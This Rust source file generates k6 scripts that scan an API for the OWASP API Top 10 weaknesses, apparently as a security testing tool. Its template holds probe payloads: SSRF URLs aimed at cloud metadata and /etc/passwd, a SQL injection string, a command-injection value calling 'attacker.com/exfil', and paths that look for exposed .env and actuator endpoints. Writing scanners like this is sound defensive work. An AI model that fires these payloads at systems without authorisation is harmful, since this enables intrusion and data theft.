Skip to main content

mockforge_bench/owasp_api/
generator.rs

1//! OWASP API Security k6 Script Generator
2//!
3//! This module generates k6 JavaScript code for running OWASP API
4//! security tests against target endpoints.
5
6use super::categories::OwaspCategory;
7use super::config::OwaspApiConfig;
8use super::payloads::{InjectionPoint, OwaspPayload, OwaspPayloadGenerator};
9use crate::error::{BenchError, Result};
10use crate::security_payloads::escape_js_string;
11use crate::spec_parser::SpecParser;
12use handlebars::Handlebars;
13use serde_json::{json, Value};
14
15/// Generator for OWASP API security test scripts
16pub struct OwaspApiGenerator {
17    /// OWASP API configuration
18    config: OwaspApiConfig,
19    /// Target base URL
20    target_url: String,
21    /// Parsed OpenAPI operations
22    operations: Vec<OperationInfo>,
23}
24
25/// Information about an API operation
26#[derive(Debug, Clone)]
27pub struct OperationInfo {
28    /// HTTP method
29    pub method: String,
30    /// Path template (e.g., /users/{id})
31    pub path: String,
32    /// Operation ID
33    pub operation_id: Option<String>,
34    /// Path parameters
35    pub path_params: Vec<PathParam>,
36    /// Query parameters
37    pub query_params: Vec<QueryParam>,
38    /// Whether operation has request body
39    pub has_body: bool,
40    /// Content type
41    pub content_type: Option<String>,
42    /// Security requirements (if any)
43    pub requires_auth: bool,
44    /// Tags
45    pub tags: Vec<String>,
46}
47
48/// Path parameter info
49#[derive(Debug, Clone)]
50pub struct PathParam {
51    pub name: String,
52    pub param_type: String,
53    pub example: Option<String>,
54}
55
56/// Query parameter info
57#[derive(Debug, Clone)]
58pub struct QueryParam {
59    pub name: String,
60    pub param_type: String,
61    pub required: bool,
62}
63
64impl OwaspApiGenerator {
65    /// Create a new OWASP API generator
66    pub fn new(config: OwaspApiConfig, target_url: String, parser: &SpecParser) -> Self {
67        let operations = Self::extract_operations(parser);
68        Self {
69            config,
70            target_url,
71            operations,
72        }
73    }
74
75    /// Extract operations from the spec parser
76    fn extract_operations(parser: &SpecParser) -> Vec<OperationInfo> {
77        parser
78            .get_operations()
79            .into_iter()
80            .map(|op| {
81                // Extract path parameters from the path
82                let path_params: Vec<PathParam> = op
83                    .path
84                    .split('/')
85                    .filter(|segment| segment.starts_with('{') && segment.ends_with('}'))
86                    .map(|segment| {
87                        let name = segment.trim_start_matches('{').trim_end_matches('}');
88                        PathParam {
89                            name: name.to_string(),
90                            param_type: "string".to_string(),
91                            example: None,
92                        }
93                    })
94                    .collect();
95
96                OperationInfo {
97                    method: op.method.to_uppercase(),
98                    path: op.path.clone(),
99                    operation_id: op.operation_id.clone(),
100                    path_params,
101                    query_params: Vec::new(),
102                    has_body: matches!(op.method.to_uppercase().as_str(), "POST" | "PUT" | "PATCH"),
103                    content_type: Some("application/json".to_string()),
104                    requires_auth: true, // Assume auth required by default
105                    tags: op.operation.tags.clone(),
106                }
107            })
108            .collect()
109    }
110
111    /// Generate the complete k6 security test script
112    pub fn generate(&self) -> Result<String> {
113        let mut handlebars = Handlebars::new();
114
115        // Register custom helpers
116        handlebars.register_helper("contains", Box::new(contains_helper));
117        handlebars.register_helper("eq", Box::new(eq_helper));
118
119        let template = self.get_script_template();
120        let data = self.build_template_data()?;
121
122        handlebars
123            .render_template(&template, &data)
124            .map_err(|e| BenchError::ScriptGenerationFailed(e.to_string()))
125    }
126
127    /// Build template data for rendering
128    fn build_template_data(&self) -> Result<Value> {
129        let payload_generator = OwaspPayloadGenerator::new(self.config.clone());
130        let mut test_cases: Vec<Value> = Vec::new();
131
132        // Generate test cases for each category
133        for category in self.config.categories_to_test() {
134            let category_tests = self.generate_category_tests(category, &payload_generator)?;
135            test_cases.extend(category_tests);
136        }
137
138        // Pre-compute which categories are enabled for simple template conditionals
139        let categories = self.config.categories_to_test();
140        let test_api1 = categories.iter().any(|c| matches!(c, OwaspCategory::Api1Bola));
141        let test_api2 = categories.iter().any(|c| matches!(c, OwaspCategory::Api2BrokenAuth));
142        let test_api3 =
143            categories.iter().any(|c| matches!(c, OwaspCategory::Api3BrokenObjectProperty));
144        let test_api4 =
145            categories.iter().any(|c| matches!(c, OwaspCategory::Api4ResourceConsumption));
146        let test_api5 =
147            categories.iter().any(|c| matches!(c, OwaspCategory::Api5BrokenFunctionAuth));
148        let test_api6 = categories.iter().any(|c| matches!(c, OwaspCategory::Api6SensitiveFlows));
149        let test_api7 = categories.iter().any(|c| matches!(c, OwaspCategory::Api7Ssrf));
150        let test_api8 = categories.iter().any(|c| matches!(c, OwaspCategory::Api8Misconfiguration));
151        let test_api9 =
152            categories.iter().any(|c| matches!(c, OwaspCategory::Api9ImproperInventory));
153        let test_api10 =
154            categories.iter().any(|c| matches!(c, OwaspCategory::Api10UnsafeConsumption));
155
156        // Helper to prepend base_path to API paths
157        let base_path = self.config.base_path.clone().unwrap_or_default();
158        let build_path = |path: &str| -> String {
159            if base_path.is_empty() {
160                path.to_string()
161            } else {
162                format!("{}{}", base_path.trim_end_matches('/'), path)
163            }
164        };
165
166        // Pre-compute operations with path parameters for BOLA testing
167        let ops_with_path_params: Vec<Value> = self
168            .operations
169            .iter()
170            .filter(|op| op.path.contains('{'))
171            .map(|op| {
172                json!({
173                    "method": op.method.to_lowercase(),
174                    "path": build_path(&op.path),
175                })
176            })
177            .collect();
178
179        // Pre-compute GET operations for method override testing
180        let get_operations: Vec<Value> = self
181            .operations
182            .iter()
183            .filter(|op| op.method.to_lowercase() == "get")
184            .map(|op| {
185                json!({
186                    "method": op.method.to_lowercase(),
187                    "path": build_path(&op.path),
188                })
189            })
190            .collect();
191
192        // Escape auth header and token values for safe use in JavaScript strings
193        let auth_header_name = escape_js_string(&self.config.auth_header);
194        let valid_auth_token = self.config.valid_auth_token.as_ref().map(|t| escape_js_string(t));
195
196        Ok(json!({
197            "base_url": self.target_url,
198            "auth_header_name": auth_header_name,
199            "valid_auth_token": valid_auth_token,
200            "concurrency": self.config.concurrency,
201            "iterations": self.config.iterations,
202            "timeout_ms": self.config.timeout_ms,
203            "report_path": self.config.report_path.to_string_lossy(),
204            "categories_tested": categories.iter().map(|c| c.cli_name()).collect::<Vec<_>>(),
205            "test_cases": test_cases,
206            "operations": self.operations.iter().map(|op| json!({
207                "method": op.method.to_lowercase(),
208                "path": build_path(&op.path),
209                "operation_id": op.operation_id,
210                "has_body": op.has_body,
211                "requires_auth": op.requires_auth,
212                "has_path_params": op.path.contains('{'),
213            })).collect::<Vec<_>>(),
214            "ops_with_path_params": ops_with_path_params,
215            "get_operations": get_operations,
216            "verbose": self.config.verbose,
217            "insecure": self.config.insecure,
218            // Custom headers from CLI (e.g., Cookie, X-Custom-Header)
219            "custom_headers": self.config.custom_headers.iter()
220                .map(|(k, v)| json!({"name": escape_js_string(k), "value": escape_js_string(v)}))
221                .collect::<Vec<_>>(),
222            "has_custom_headers": !self.config.custom_headers.is_empty(),
223            // Category flags for simple conditionals
224            "test_api1": test_api1,
225            "test_api2": test_api2,
226            "test_api3": test_api3,
227            "test_api4": test_api4,
228            "test_api5": test_api5,
229            "test_api6": test_api6,
230            "test_api7": test_api7,
231            "test_api8": test_api8,
232            "test_api9": test_api9,
233            "test_api10": test_api10,
234        }))
235    }
236
237    /// Generate test cases for a specific category
238    fn generate_category_tests(
239        &self,
240        category: OwaspCategory,
241        payload_generator: &OwaspPayloadGenerator,
242    ) -> Result<Vec<Value>> {
243        let payloads = payload_generator.generate_for_category(category);
244        let mut tests = Vec::new();
245
246        for payload in payloads {
247            // Match payloads to appropriate operations
248            let applicable_ops = self.get_applicable_operations(&payload);
249
250            for op in applicable_ops {
251                tests.push(json!({
252                    "category": category.cli_name(),
253                    "category_name": category.short_name(),
254                    "description": payload.description,
255                    "method": op.method.to_lowercase(),
256                    "path": op.path,
257                    "payload": payload.value,
258                    "injection_point": format!("{:?}", payload.injection_point).to_lowercase(),
259                    "has_body": op.has_body || payload.injection_point == InjectionPoint::Body,
260                    "notes": payload.notes,
261                }));
262            }
263        }
264
265        Ok(tests)
266    }
267
268    /// Get operations applicable for a payload
269    fn get_applicable_operations(&self, payload: &OwaspPayload) -> Vec<&OperationInfo> {
270        match payload.injection_point {
271            InjectionPoint::PathParam => {
272                // Only operations with path parameters
273                self.operations.iter().filter(|op| !op.path_params.is_empty()).collect()
274            }
275            InjectionPoint::Body => {
276                // Only operations that accept a body
277                self.operations.iter().filter(|op| op.has_body).collect()
278            }
279            InjectionPoint::Header | InjectionPoint::Omit => {
280                // All operations that require auth
281                self.operations.iter().filter(|op| op.requires_auth).collect()
282            }
283            InjectionPoint::QueryParam => {
284                // All operations (can add query params to any)
285                self.operations.iter().collect()
286            }
287            InjectionPoint::Modify => {
288                // Depends on payload - return all for now
289                self.operations.iter().collect()
290            }
291        }
292    }
293
294    /// Get the k6 script template
295    fn get_script_template(&self) -> String {
296        r#"// OWASP API Security Top 10 Test Script
297// Generated by MockForge - https://mockforge.dev
298// Categories tested: {{#each categories_tested}}{{this}}{{#unless @last}}, {{/unless}}{{/each}}
299
300import http from 'k6/http';
301import { check, sleep, group } from 'k6';
302import { Trend, Counter, Rate } from 'k6/metrics';
303
304// Configuration
305const BASE_URL = '{{{base_url}}}';
306const AUTH_HEADER = '{{{auth_header_name}}}';
307{{#if valid_auth_token}}
308const VALID_TOKEN = '{{{valid_auth_token}}}';
309{{else}}
310const VALID_TOKEN = null;
311{{/if}}
312const TIMEOUT = '{{timeout_ms}}ms';
313const VERBOSE = {{verbose}};
314const INSECURE = {{insecure}};
315
316// Use a dedicated empty cookie jar to prevent k6's default VU cookie jar
317// from merging Set-Cookie response cookies with manually specified headers.
318// Note: jar:null does NOT disable the default jar - it just skips the param.
319const EMPTY_JAR = new http.CookieJar();
320
321// Custom headers from CLI (e.g., Cookie, X-Custom-Header)
322const CUSTOM_HEADERS = {
323{{#each custom_headers}}
324    '{{{name}}}': '{{{value}}}',
325{{/each}}
326};
327
328// Custom metrics
329const findingsCounter = new Counter('owasp_findings');
330const testsRun = new Counter('owasp_tests_run');
331const vulnerableRate = new Rate('owasp_vulnerable_rate');
332const responseTime = new Trend('owasp_response_time');
333
334// Test options - use per-VU iterations scenario for controlled test runs
335export const options = {
336    scenarios: {
337        owasp_security_test: {
338            executor: 'per-vu-iterations',
339            vus: {{concurrency}},
340            iterations: {{iterations}},  // Iterations per VU
341            maxDuration: '30m',
342        },
343    },
344    thresholds: {
345        'owasp_findings': ['count<100'], // Alert if too many findings
346    },
347    insecureSkipTLSVerify: INSECURE,
348};
349
350// Findings storage
351const findings = [];
352
353// Helper: Log a finding
354function logFinding(category, endpoint, method, description, evidence) {
355    const finding = {
356        category,
357        endpoint,
358        method,
359        description,
360        evidence,
361        timestamp: new Date().toISOString(),
362    };
363    findings.push(finding);
364    findingsCounter.add(1);
365    vulnerableRate.add(1);
366
367    if (VERBOSE) {
368        console.log(`[FINDING] ${category} - ${method} ${endpoint}: ${description}`);
369    }
370}
371
372// Helper: Log test passed
373function logPass(category, endpoint, method) {
374    vulnerableRate.add(0);
375    if (VERBOSE) {
376        console.log(`[PASS] ${category} - ${method} ${endpoint}`);
377    }
378}
379
380// Helper: Generate a random UUID for path parameters
381// Uses crypto.randomUUID() which is globally available in k6 v1.0.0+
382function generateRandomId() {
383    return crypto.randomUUID();
384}
385
386// Helper: Replace path parameters with random UUIDs
387// Replaces all {param} patterns with new random UUIDs
388function replacePathParams(path) {
389    return path.replace(/{[^}]+}/g, () => generateRandomId());
390}
391
392// Helper: Make authenticated request
393function authRequest(method, url, body, additionalHeaders = {}) {
394    const headers = {
395        'Content-Type': 'application/json',
396        ...CUSTOM_HEADERS,
397        ...additionalHeaders,
398    };
399
400    if (VALID_TOKEN) {
401        headers[AUTH_HEADER] = VALID_TOKEN;
402    }
403
404    const params = {
405        headers,
406        timeout: TIMEOUT,
407        jar: EMPTY_JAR,
408    };
409
410    // k6 uses 'del' instead of 'delete'
411    const httpMethod = method === 'delete' ? 'del' : method;
412
413    if (httpMethod === 'get' || httpMethod === 'head') {
414        return http[httpMethod](url, params);
415    } else {
416        return http[httpMethod](url, body ? JSON.stringify(body) : null, params);
417    }
418}
419
420// Helper: Make unauthenticated request
421function unauthRequest(method, url, body, additionalHeaders = {}) {
422    const headers = {
423        'Content-Type': 'application/json',
424        ...CUSTOM_HEADERS,
425        ...additionalHeaders,
426    };
427
428    const params = {
429        headers,
430        timeout: TIMEOUT,
431        jar: EMPTY_JAR,
432    };
433
434    // k6 uses 'del' instead of 'delete'
435    const httpMethod = method === 'delete' ? 'del' : method;
436
437    if (httpMethod === 'get' || httpMethod === 'head') {
438        return http[httpMethod](url, params);
439    } else {
440        return http[httpMethod](url, body ? JSON.stringify(body) : null, params);
441    }
442}
443
444// API1: Broken Object Level Authorization (BOLA)
445function testBola() {
446    group('API1 - BOLA', function() {
447        console.log('[API1] Testing Broken Object Level Authorization...');
448
449        {{#each operations}}
450        {{#if has_path_params}}
451        // Test {{path}}
452        {
453            // Generate different random UUIDs for each test
454            const originalId = generateRandomId();
455            const targetId = generateRandomId();
456            const originalPath = '{{path}}'.replace(/{[^}]+}/g, originalId);
457            const targetPath = '{{path}}'.replace(/{[^}]+}/g, targetId);
458
459            if (VERBOSE) {
460                console.log(`[API1] Testing with IDs: ${originalId} -> ${targetId}`);
461            }
462
463            // Get baseline with first random ID
464            const baseline = authRequest('{{method}}', BASE_URL + originalPath, null);
465
466            // Try to access different random ID (simulating another user's resource)
467            const response = authRequest('{{method}}', BASE_URL + targetPath, null);
468            testsRun.add(1);
469            responseTime.add(response.timings.duration);
470
471            if (response.status >= 200 && response.status < 300) {
472                // Check if we got different data (potential BOLA vulnerability)
473                if (response.body !== baseline.body && response.body.length > 0) {
474                    logFinding('api1', '{{path}}', '{{method}}',
475                        'ID manipulation accepted - accessed different resource',
476                        { status: response.status, originalId, targetId, bodyLength: response.body.length });
477                } else {
478                    logPass('api1', '{{path}}', '{{method}}');
479                }
480            } else {
481                logPass('api1', '{{path}}', '{{method}}');
482            }
483        }
484        {{/if}}
485        {{/each}}
486    });
487}
488
489// API2: Broken Authentication
490function testBrokenAuth() {
491    group('API2 - Broken Authentication', function() {
492        console.log('[API2] Testing Broken Authentication...');
493
494        {{#each operations}}
495        {{#if requires_auth}}
496        // Test {{path}} without auth
497        {
498            const testPath = replacePathParams('{{path}}');
499            const response = unauthRequest('{{method}}', BASE_URL + testPath, null);
500            testsRun.add(1);
501            responseTime.add(response.timings.duration);
502
503            if (response.status >= 200 && response.status < 300) {
504                logFinding('api2', '{{path}}', '{{method}}',
505                    'Endpoint accessible without authentication',
506                    { status: response.status });
507            } else {
508                logPass('api2', '{{path}}', '{{method}}');
509            }
510        }
511
512        // Test {{path}} with empty token
513        {
514            const testPath = replacePathParams('{{path}}');
515            const httpMethod = '{{method}}' === 'delete' ? 'del' : '{{method}}';
516            const makeEmptyTokenRequest = (m, url, body, params) => {
517                if (m === 'get' || m === 'head') return http[m](url, params);
518                return http[m](url, body, params);
519            };
520            const response = makeEmptyTokenRequest(httpMethod, BASE_URL + testPath, null, {
521                headers: { [AUTH_HEADER]: 'Bearer ' },
522                timeout: TIMEOUT,
523                jar: EMPTY_JAR,
524            });
525            testsRun.add(1);
526
527            if (response.status >= 200 && response.status < 300) {
528                logFinding('api2', '{{path}}', '{{method}}',
529                    'Endpoint accessible with empty Bearer token',
530                    { status: response.status });
531            }
532        }
533        {{/if}}
534        {{/each}}
535    });
536}
537
538// API3: Broken Object Property Level Authorization (Mass Assignment)
539function testMassAssignment() {
540    group('API3 - Mass Assignment', function() {
541        console.log('[API3] Testing Mass Assignment...');
542
543        const massAssignmentPayloads = [
544            { role: 'admin' },
545            { is_admin: true },
546            { isAdmin: true },
547            { permissions: ['admin', 'write', 'delete'] },
548            { verified: true },
549            { email_verified: true },
550            { balance: 999999 },
551        ];
552
553        {{#each operations}}
554        {{#if has_body}}
555        // Test {{path}}
556        {
557            const testPath = replacePathParams('{{path}}');
558            massAssignmentPayloads.forEach(payload => {
559                const response = authRequest('{{method}}', BASE_URL + testPath, payload);
560                testsRun.add(1);
561                responseTime.add(response.timings.duration);
562
563                if (response.status >= 200 && response.status < 300) {
564                    // Check if unauthorized field appears in response
565                    const responseBody = response.body.toLowerCase();
566                    const payloadKey = Object.keys(payload)[0].toLowerCase();
567
568                    if (responseBody.includes(payloadKey)) {
569                        logFinding('api3', '{{path}}', '{{method}}',
570                            `Mass assignment accepted: ${payloadKey}`,
571                            { status: response.status, payload });
572                    } else {
573                        logPass('api3', '{{path}}', '{{method}}');
574                    }
575                }
576            });
577        }
578        {{/if}}
579        {{/each}}
580    });
581}
582
583// API4: Unrestricted Resource Consumption
584function testResourceConsumption() {
585    group('API4 - Resource Consumption', function() {
586        console.log('[API4] Testing Resource Consumption...');
587
588        {{#each operations}}
589        // Test {{path}} with excessive limit
590        {
591            const testPath = replacePathParams('{{path}}');
592            const url = BASE_URL + testPath + '?limit=100000&per_page=100000';
593            const response = authRequest('{{method}}', url, null);
594            testsRun.add(1);
595            responseTime.add(response.timings.duration);
596
597            // Check for rate limit headers
598            const hasRateLimit = response.headers['X-RateLimit-Limit'] ||
599                                response.headers['x-ratelimit-limit'] ||
600                                response.headers['RateLimit-Limit'];
601
602            if (response.status === 429) {
603                logPass('api4', '{{path}}', '{{method}}');
604            } else if (response.status >= 200 && response.status < 300 && !hasRateLimit) {
605                logFinding('api4', '{{path}}', '{{method}}',
606                    'No rate limiting detected',
607                    { status: response.status, hasRateLimitHeader: !!hasRateLimit });
608            } else {
609                logPass('api4', '{{path}}', '{{method}}');
610            }
611        }
612        {{/each}}
613    });
614}
615
616// API5: Broken Function Level Authorization
617function testFunctionAuth() {
618    group('API5 - Function Authorization', function() {
619        console.log('[API5] Testing Function Level Authorization...');
620
621        const adminPaths = [
622            '/admin',
623            '/admin/users',
624            '/admin/settings',
625            '/api/admin',
626            '/internal',
627            '/management',
628        ];
629
630        adminPaths.forEach(path => {
631            const response = authRequest('get', BASE_URL + path, null);
632            testsRun.add(1);
633            responseTime.add(response.timings.duration);
634
635            if (response.status >= 200 && response.status < 300) {
636                logFinding('api5', path, 'GET',
637                    'Admin endpoint accessible',
638                    { status: response.status });
639            } else if (response.status === 403 || response.status === 401) {
640                logPass('api5', path, 'GET');
641            }
642        });
643
644        // Also test changing methods on read-only endpoints
645        {{#each get_operations}}
646        {
647            const testPath = replacePathParams('{{path}}');
648            const response = authRequest('delete', BASE_URL + testPath, null);
649            testsRun.add(1);
650
651            if (response.status >= 200 && response.status < 300) {
652                logFinding('api5', '{{path}}', 'DELETE',
653                    'DELETE method allowed on read-only endpoint',
654                    { status: response.status });
655            }
656        }
657        {{/each}}
658    });
659}
660
661// API7: Server Side Request Forgery (SSRF)
662function testSsrf() {
663    group('API7 - SSRF', function() {
664        console.log('[API7] Testing Server Side Request Forgery...');
665
666        const ssrfPayloads = [
667            'http://localhost/',
668            'http://127.0.0.1/',
669            'http://169.254.169.254/latest/meta-data/',
670            'http://[::1]/',
671            'file:///etc/passwd',
672        ];
673
674        {{#each operations}}
675        {{#if has_body}}
676        // Test {{path}} with SSRF payloads
677        {
678            const testPath = replacePathParams('{{path}}');
679            ssrfPayloads.forEach(payload => {
680                const body = {
681                    url: payload,
682                    webhook_url: payload,
683                    callback: payload,
684                    image_url: payload,
685                };
686
687                const response = authRequest('{{method}}', BASE_URL + testPath, body);
688                testsRun.add(1);
689                responseTime.add(response.timings.duration);
690
691                if (response.status >= 200 && response.status < 300) {
692                    // Check for indicators of internal access
693                    const bodyLower = response.body.toLowerCase();
694                    const internalIndicators = ['localhost', '127.0.0.1', 'instance-id', 'ami-id', 'root:'];
695
696                    if (internalIndicators.some(ind => bodyLower.includes(ind))) {
697                        logFinding('api7', '{{path}}', '{{method}}',
698                            `SSRF vulnerability - internal data exposed with payload: ${payload}`,
699                            { status: response.status, payload });
700                    }
701                }
702            });
703        }
704        {{/if}}
705        {{/each}}
706    });
707}
708
709// API8: Security Misconfiguration
710function testMisconfiguration() {
711    group('API8 - Security Misconfiguration', function() {
712        console.log('[API8] Testing Security Misconfiguration...');
713
714        {{#each operations}}
715        // Test {{path}} for security headers
716        {
717            const testPath = replacePathParams('{{path}}');
718            const response = authRequest('{{method}}', BASE_URL + testPath, null);
719            testsRun.add(1);
720            responseTime.add(response.timings.duration);
721
722            const missingHeaders = [];
723
724            if (!response.headers['X-Content-Type-Options'] && !response.headers['x-content-type-options']) {
725                missingHeaders.push('X-Content-Type-Options');
726            }
727            if (!response.headers['X-Frame-Options'] && !response.headers['x-frame-options']) {
728                missingHeaders.push('X-Frame-Options');
729            }
730            if (!response.headers['Strict-Transport-Security'] && !response.headers['strict-transport-security']) {
731                missingHeaders.push('Strict-Transport-Security');
732            }
733
734            // Check for overly permissive CORS
735            const acao = response.headers['Access-Control-Allow-Origin'] || response.headers['access-control-allow-origin'];
736            if (acao === '*') {
737                logFinding('api8', '{{path}}', '{{method}}',
738                    'CORS allows all origins (Access-Control-Allow-Origin: *)',
739                    { status: response.status });
740            }
741
742            if (missingHeaders.length > 0) {
743                logFinding('api8', '{{path}}', '{{method}}',
744                    `Missing security headers: ${missingHeaders.join(', ')}`,
745                    { status: response.status, missingHeaders });
746            }
747        }
748        {{/each}}
749
750        // Test for verbose errors
751        {{#each operations}}
752        {{#if has_body}}
753        {
754            const testPath = replacePathParams('{{path}}');
755            const malformedBody = '{"invalid": "json';
756            const response = http.{{method}}(BASE_URL + testPath, malformedBody, {
757                headers: { 'Content-Type': 'application/json', ...CUSTOM_HEADERS },
758                timeout: TIMEOUT,
759                jar: EMPTY_JAR,
760            });
761            testsRun.add(1);
762
763            const errorIndicators = ['stack trace', 'exception', 'at line', 'syntax error'];
764            const bodyLower = response.body.toLowerCase();
765
766            if (errorIndicators.some(ind => bodyLower.includes(ind))) {
767                logFinding('api8', '{{path}}', '{{method}}',
768                    'Verbose error messages exposed',
769                    { status: response.status });
770            }
771        }
772        {{/if}}
773        {{/each}}
774    });
775}
776
777// API9: Improper Inventory Management
778function testInventory() {
779    group('API9 - Inventory Management', function() {
780        console.log('[API9] Testing Improper Inventory Management...');
781
782        const discoveryPaths = [
783            '/swagger',
784            '/swagger-ui',
785            '/swagger.json',
786            '/api-docs',
787            '/openapi',
788            '/openapi.json',
789            '/graphql',
790            '/graphiql',
791            '/debug',
792            '/actuator',
793            '/actuator/health',
794            '/actuator/env',
795            '/metrics',
796            '/.env',
797            '/config',
798        ];
799
800        const apiVersions = ['v1', 'v2', 'v3', 'api/v1', 'api/v2'];
801
802        discoveryPaths.forEach(path => {
803            const response = http.get(BASE_URL + path, { headers: CUSTOM_HEADERS, timeout: TIMEOUT, jar: EMPTY_JAR });
804            testsRun.add(1);
805            responseTime.add(response.timings.duration);
806
807            if (response.status !== 404) {
808                logFinding('api9', path, 'GET',
809                    `Undocumented endpoint discovered (HTTP ${response.status})`,
810                    { status: response.status });
811            }
812        });
813
814        // Check for old API versions
815        apiVersions.forEach(version => {
816            const response = http.get(BASE_URL + '/' + version + '/', { headers: CUSTOM_HEADERS, timeout: TIMEOUT, jar: EMPTY_JAR });
817            testsRun.add(1);
818
819            if (response.status !== 404) {
820                logFinding('api9', '/' + version + '/', 'GET',
821                    `API version endpoint exists (HTTP ${response.status})`,
822                    { status: response.status });
823            }
824        });
825    });
826}
827
828// API10: Unsafe Consumption of APIs
829function testUnsafeConsumption() {
830    group('API10 - Unsafe Consumption', function() {
831        console.log('[API10] Testing Unsafe Consumption...');
832
833        const injectionPayloads = [
834            { external_id: "'; DROP TABLE users;--" },
835            { integration_data: "$(curl attacker.com/exfil)" },
836            { template: "\{{7*7}}" },
837            { webhook_url: "http://127.0.0.1:8080/internal" },
838        ];
839
840        {{#each operations}}
841        {{#if has_body}}
842        // Test {{path}} with injection payloads
843        {
844            const testPath = replacePathParams('{{path}}');
845            injectionPayloads.forEach(payload => {
846                const response = authRequest('{{method}}', BASE_URL + testPath, payload);
847                testsRun.add(1);
848                responseTime.add(response.timings.duration);
849
850                // Check if payload was processed (e.g., SSTI returning 49)
851                if (response.body.includes('49')) {
852                    logFinding('api10', '{{path}}', '{{method}}',
853                        'Server-side template injection detected',
854                        { status: response.status, payload });
855                }
856            });
857        }
858        {{/if}}
859        {{/each}}
860    });
861}
862
863// Main test function
864export default function() {
865    console.log('Starting OWASP API Top 10 Security Scan...');
866    console.log('Target: ' + BASE_URL);
867    console.log('');
868
869    {{#if test_api1}}
870    testBola();
871    {{/if}}
872    {{#if test_api2}}
873    testBrokenAuth();
874    {{/if}}
875    {{#if test_api3}}
876    testMassAssignment();
877    {{/if}}
878    {{#if test_api4}}
879    testResourceConsumption();
880    {{/if}}
881    {{#if test_api5}}
882    testFunctionAuth();
883    {{/if}}
884    {{#if test_api7}}
885    testSsrf();
886    {{/if}}
887    {{#if test_api8}}
888    testMisconfiguration();
889    {{/if}}
890    {{#if test_api9}}
891    testInventory();
892    {{/if}}
893    {{#if test_api10}}
894    testUnsafeConsumption();
895    {{/if}}
896
897    sleep(0.1);
898}
899
900// Teardown: Output results
901export function teardown(data) {
902    console.log('');
903    console.log('='.repeat(50));
904    console.log('OWASP API Top 10 Scan Complete');
905    console.log('='.repeat(50));
906    console.log('Total findings: ' + findings.length);
907
908    if (findings.length > 0) {
909        console.log('');
910        console.log('Findings by category:');
911        const byCategory = {};
912        findings.forEach(f => {
913            byCategory[f.category] = (byCategory[f.category] || 0) + 1;
914        });
915        Object.entries(byCategory).forEach(([cat, count]) => {
916            console.log('  ' + cat + ': ' + count);
917        });
918    }
919
920    // Write JSON report
921    console.log('');
922    console.log('Report written to: {{report_path}}');
923}
924"#.to_string()
925    }
926}
927
928/// Handlebars helper to check if a string contains a substring
929fn contains_helper(
930    h: &handlebars::Helper,
931    _: &Handlebars,
932    _: &handlebars::Context,
933    _: &mut handlebars::RenderContext,
934    out: &mut dyn handlebars::Output,
935) -> handlebars::HelperResult {
936    let param1 = h.param(0).and_then(|v| v.value().as_str()).unwrap_or("");
937    let param2 = h.param(1).and_then(|v| v.value().as_str()).unwrap_or("");
938    let result = param1.contains(param2);
939    out.write(&result.to_string())?;
940    Ok(())
941}
942
943/// Handlebars helper to check equality
944fn eq_helper(
945    h: &handlebars::Helper,
946    _: &Handlebars,
947    _: &handlebars::Context,
948    _: &mut handlebars::RenderContext,
949    out: &mut dyn handlebars::Output,
950) -> handlebars::HelperResult {
951    let param1 = h.param(0).map(|v| v.value());
952    let param2 = h.param(1).map(|v| v.value());
953    let result = param1 == param2;
954    out.write(&result.to_string())?;
955    Ok(())
956}
957
958#[cfg(test)]
959mod tests {
960    use super::*;
961
962    #[test]
963    fn test_generator_creation() {
964        // This would need a mock SpecParser
965        // For now just test that the template is valid
966        let template = r#"
967        {{#each operations}}
968        // {{method}} {{path}}
969        {{/each}}
970        "#;
971
972        let handlebars = Handlebars::new();
973        let data = json!({
974            "operations": [
975                { "method": "GET", "path": "/users" },
976                { "method": "POST", "path": "/users" },
977            ]
978        });
979
980        let result = handlebars.render_template(template, &data);
981        assert!(result.is_ok());
982    }
983
984    #[test]
985    fn test_script_template_renders() {
986        let config = OwaspApiConfig::default()
987            .with_categories([OwaspCategory::Api1Bola])
988            .with_valid_auth_token("Bearer test123");
989
990        let template = r#"
991const AUTH = '{{auth_header_name}}';
992const TOKEN = '{{valid_auth_token}}';
993{{#each categories_tested}}
994// Testing: {{this}}
995{{/each}}
996        "#;
997
998        let handlebars = Handlebars::new();
999        let data = json!({
1000            "auth_header_name": config.auth_header,
1001            "valid_auth_token": config.valid_auth_token,
1002            "categories_tested": config.categories_to_test().iter().map(|c| c.cli_name()).collect::<Vec<_>>(),
1003        });
1004
1005        let result = handlebars.render_template(template, &data).unwrap();
1006        assert!(result.contains("Authorization"));
1007        assert!(result.contains("Bearer test123"));
1008        assert!(result.contains("api1"));
1009    }
1010
1011    #[test]
1012    fn test_owasp_uses_empty_jar_not_null() {
1013        // Test that the OWASP template uses EMPTY_JAR instead of jar: null
1014        // jar: null in k6 does NOT disable the default VU cookie jar
1015        let template = r#"
1016const EMPTY_JAR = new http.CookieJar();
1017function authRequest(method, url) {
1018    const params = { jar: EMPTY_JAR };
1019}
1020"#;
1021        let handlebars = Handlebars::new();
1022        let data = json!({});
1023        let result = handlebars.render_template(template, &data).unwrap();
1024        assert!(result.contains("EMPTY_JAR"), "Should use EMPTY_JAR instead of jar: null");
1025        assert!(!result.contains("jar: null"), "Should NOT use jar: null");
1026    }
1027}